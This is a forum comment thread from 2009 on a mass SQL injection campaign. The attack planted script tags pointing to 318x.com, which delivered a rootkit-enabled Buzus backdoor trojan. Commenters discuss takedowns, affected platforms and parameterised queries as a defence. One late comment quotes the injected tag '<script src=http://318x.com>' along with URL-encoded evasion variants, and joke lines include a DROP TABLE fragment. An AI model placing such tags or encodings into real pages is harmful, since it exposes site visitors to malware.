SQL Injection Attack Claims 132,000+
An anonymous reader writes "A large scale SQL injection attack has injected a malicious iframe on tens of thousands of susceptible websites. ScanSafe reports that the injected iframe loads malicious content from 318x.com, which eventually leads to the installation of a rootkit-enabled variant of the Buzus backdoor trojan. A Google search on the iframe resulted in over 132,000 hits as of December 10, 2009."
Hey, I went to 318x.com and all of a sudden my computer is acting funny. Any suggestions?
Posts not to be taken literally. Almost everything is sarcasm.
I blame Mrs. Roberts.
Slashdot is not a game, Slashdot is not a game. Crap, I just lost points.
After doing a whois, I see that just about all information is described as "Unknown"
Why is this domain still in existence? Can ICANN take it down?
It looks like the sole reason for this domain is for malware.
It's NOT me! It's the meds! I'm on 1000mg of Fukitol.
If they know where the site is that's hosting the payload why don't they just shut them down? I realize the locations for the hosting are carefully chosen to provide maximum insulation, but still you'd expect that by now (years after this sort of thing became common) that there'd be mechanisms and procedures in place to break these down swiftly?
I work for the Department of Redundancy Department.
Seriously people stop naming your kids with ');DROP TABLE at the end...
Trying to install linux on my microwave, but keep getting a kernel panic...
I love the way they fail to mention what server systems might be effected. Is it SQL Server? MySQL? .NET? PHP? Windows servers? Linux? Both? What web sites are vulnerable?
It's always fun to snicker when you get to the registry entries which points to Windows. Although there was a trojan for Ubuntu in a desktop theme a few days ago, so enjoy the time to mock Windows users while it lasts.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
The article said "SQL" in the headline, but never mentioned it again after that.
Swedish plasma phys. PhD student; MSc EE; knows maths, programming, electronics; finance interest; seeks opportunities
So it's MS and Adobe vulnerabilities that actually let the malware onto your system.
FTA:
Observed exploits include:
* Integer overflow vulnerability in Adobe Flash Player, described in CVE-2007-0071
* MDAC ADODB.Connection ActiveX vulnerability described in MS07-009
* Microsoft Office Web Components vulnerabilities described in MS09-043
* Microsoft video ActiveX vulnerability described in MS09-032
* Internet Explorer Uninitialized Memory Corruption Vulnerability – MS09-002.
All I can tell (from TFA), is it affects Windows servers.
SQL injection attacks affect any number of platforms. It's not a Windows problem, it's not a database problem, it's a "we hired cheap, unskilled developers" problem.
Now the people who browse these sites and get hit with malware, that looks to be specific to Windows.
I went to eat some animal crackers and the box said, "Do not eat if seal is broken." I opened the box and sure enough..
Now the people who browse these sites and get hit with malware, that looks to be specific to Windows.
Yeah. I saw my error after I had posted it, so I tried to correct it with a follow up.
Reply to That ||
Add to windows\system32\drivers\etc\hosts:
127.0.0.1 318x.com
And you should be safe, for the moment.
The assumption is that once there are a hundred thousand servers hit, and maybe fewer, if the hosting company doesn't shut down the site within an hour or two a responsible upstream router blocks traffic from the site. Every delivered payload costs society more time and money.
-- IANAL, this isn't legal advice, and definitely isn't legal advice for you. Also, Squee!
validate your SQL inputs before posting them against an Internet-facing database. This isn't an SQL problem. This isn't a Windows-based problem. This is a poor coders problem. If there are high-profile websites that were compromised I'd be one pissed off PHB fo sho...
Uhhhhh, you really RTFA? It doesn't matter what the server is running to get compromised by an SQL injection, does it? Could be MySQL running on a RedHat server. Could be SQL Server running on a Windows server. Why would an SQL injection be platform-dependent? After all, isn't that why SQL is ANSI and _relatively_ portable betwen platforms? I did say "relatively" of course ::rollseyes::
according to TFA:
Malware description
Threatname: Backdoor.Win32.Buzus.croo
Aliases: Trojan-PWS.Win32.Lmir (Ikarus, a-squared); TR/Hijacker.Gen (AntiVir); Trojan/Win32.Buzus.gen (Antiy-AVL); W32/Agent.S.gen!Eldorado (F-Prot, Authentium); Win32:Rootkit-gen (Avast); Generic15.CBGO (AVG); Trojan.Generic.2823971 (BitDefender, GData); Trojan.Buzus.croo (Kaspersky, QuickHeal); Trojan.NtRootKit.2909 (DrWeb); Trj/Buzus.AH (Panda).
That's the trojan that's being installed by the exploits served up by the injected IFRAME. It is not the vulnerability that is allowing the IFRAME to be injected to begin with.
cp /dev/zero ~/signature.txt
The source of the attacks are servers who have been compromised through SQL injection. I get that. It's an important detail. They fail to identify what sites and/or what those sites are running that is exploitable in this way. Is it MySQL? Is it MS SQL? Oracle? Is it a particular software package running on a particular web host platform? The questions are too many and should have been answered in the article.
What is done after a server is compromised is pretty common. Microsoft components, especially those linked through ActiveX, have been not just a hole in Microsoft security, but a tunnel into the Windows kernel big enough to drive a truck through. A vulnerability in Adobe flash is only a a problem when it uses ActiveX to get there. Flash running in other ways does not seem to pose such an extreme threat otherwise. But while these are important security concerns to be aware of, it has nothing to do with the topic of the story as indicated by the headline or the first line of the story which is about compromised SERVERS, not about compromised clients.
As many have pointed out, the blog post does not offer sufficient detail, but does offer the rather sensational headline "SQL injection attack claims 132,000+". The Google Safe Browsing diagnostic page for 318x.com has it closer to 1200 or so:
http://google.com/safebrowsing/diagnostic?site=318x.com/
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, 318x.com appeared to function as an intermediary for the infection of 1202 site(s) including 37y.org/, jxagri.gov.cn/, glojj.com/.
Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 1269 domain(s), including 37y.org/, cec.org.cn/, jxagri.gov.cn/.
Very true, at which point this function simply doubled up the string delimiters, breaking the SQL injection. The major problem with Classic ASP was the casting of variables, if not done properly you were asking for it. If it's numeric, check it. .NET does not suffer from this problem unless the coder specifically passes a numeric value thou to an SQL statement as a string, which would be stupid. If everyone used stored procedures to deal with the SQL data, none of this would happen. My above checks alert you to the fact that someone if having a go, you can't do that when checking for string delimiters as they are valid characters, but yes, if your code uses a shitty "execute" command, check it. If you use proper stored procedures, this will no affect you.
Oops. Send those SQL injections back. We don't need them.
For various reasons, an SQL injection generally targets a specific application running on a specific database. Unless your database interface is seriously deficient, like MS SQL server, it is difficult to perform a successful SQL injection without knowing what the table structure is. And of course, most applications do not run on multiple database types.
You don't need stored procedures, all you need are parametrized statements/commands, so long as your API provides it. And plain ADO, which was used with classic ASP, did provide parametrized commands.
Any attempt to defeat SQL injection by blacklisting syntax is inherently error-prone if only because it may break on a future version of database (when its syntax gets extended). Not to mention that, unless you have perfect knowledge of 100% of the SQL dialect that your implementation uses, you may forget to blacklist some corner case.
In short, if you use text substitution to counter SQL injection, you're not doing it right.
I concur. Searching for the iframe script, this is what I found. Sorry if I can't say if it's something like dotnet nuke. The ocassional coldfusion page also has me wondering.
From the first page of a google search for "<script src=http://318x.com></script>":
City of Iowa City<script src=http://318x.com></script> - How to ... /default/templates/top2.asp, line 60.
Microsoft VBScript runtime error '800a000d'. Type mismatch: '[string: "1035<script src=http"]'.
www.icgov.org/default/?id=1787
YEMEN TIMES : Education ...
Opportunities<script src=http://318x.com></script> Letters<script src=http://318x.com></script> Archive<script src=http://318x.com></script>
www.yementimes.com/DEFAULTSUB.ASPX?pnc=57&pnm... - Cached
IWCS - Learning<script src=http://318%78.com></script><script src ... ...
Membership<script src=http://318%78.com></script><script src=http://318x.%63om></script> IWCS Shared Channels<script src=http://318%78.com></script><script
www.iwcs.com/category.cfm?Category=2932
I've lost all my marbles except one & It's fun to test angular & centripetal acceleration in my skull